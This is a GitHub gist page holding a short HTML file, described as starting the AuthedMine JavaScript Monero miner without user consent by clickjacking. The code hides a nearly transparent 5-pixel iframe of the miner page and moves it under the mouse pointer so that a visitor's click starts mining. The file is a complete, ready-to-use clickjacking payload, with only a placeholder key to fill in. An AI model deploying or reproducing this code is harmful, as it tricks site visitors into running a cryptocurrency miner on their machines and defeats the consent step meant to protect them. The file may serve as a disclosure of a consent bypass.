Skip to content

Instantly share code, notes, and snippets.

@al5dy
Forked from bcoles/clickjack-authedmine.html
Created October 31, 2017 08:32
Show Gist options
  • Save al5dy/c9858501698c874c58be789ffd7598cc to your computer and use it in GitHub Desktop.
Save al5dy/c9858501698c874c58be789ffd7598cc to your computer and use it in GitHub Desktop.
Start the AuthedMine JavaScript Monero miner without user consent (using clickjacking)
<html>
<body>
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01">
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe>
</div>
</body>
<script>
window.onmousemove = function(e) {
var container = document.getElementById("container");
container.setAttribute("style", "border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01;left:" + e.x + ";top:" + e.y);
}
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment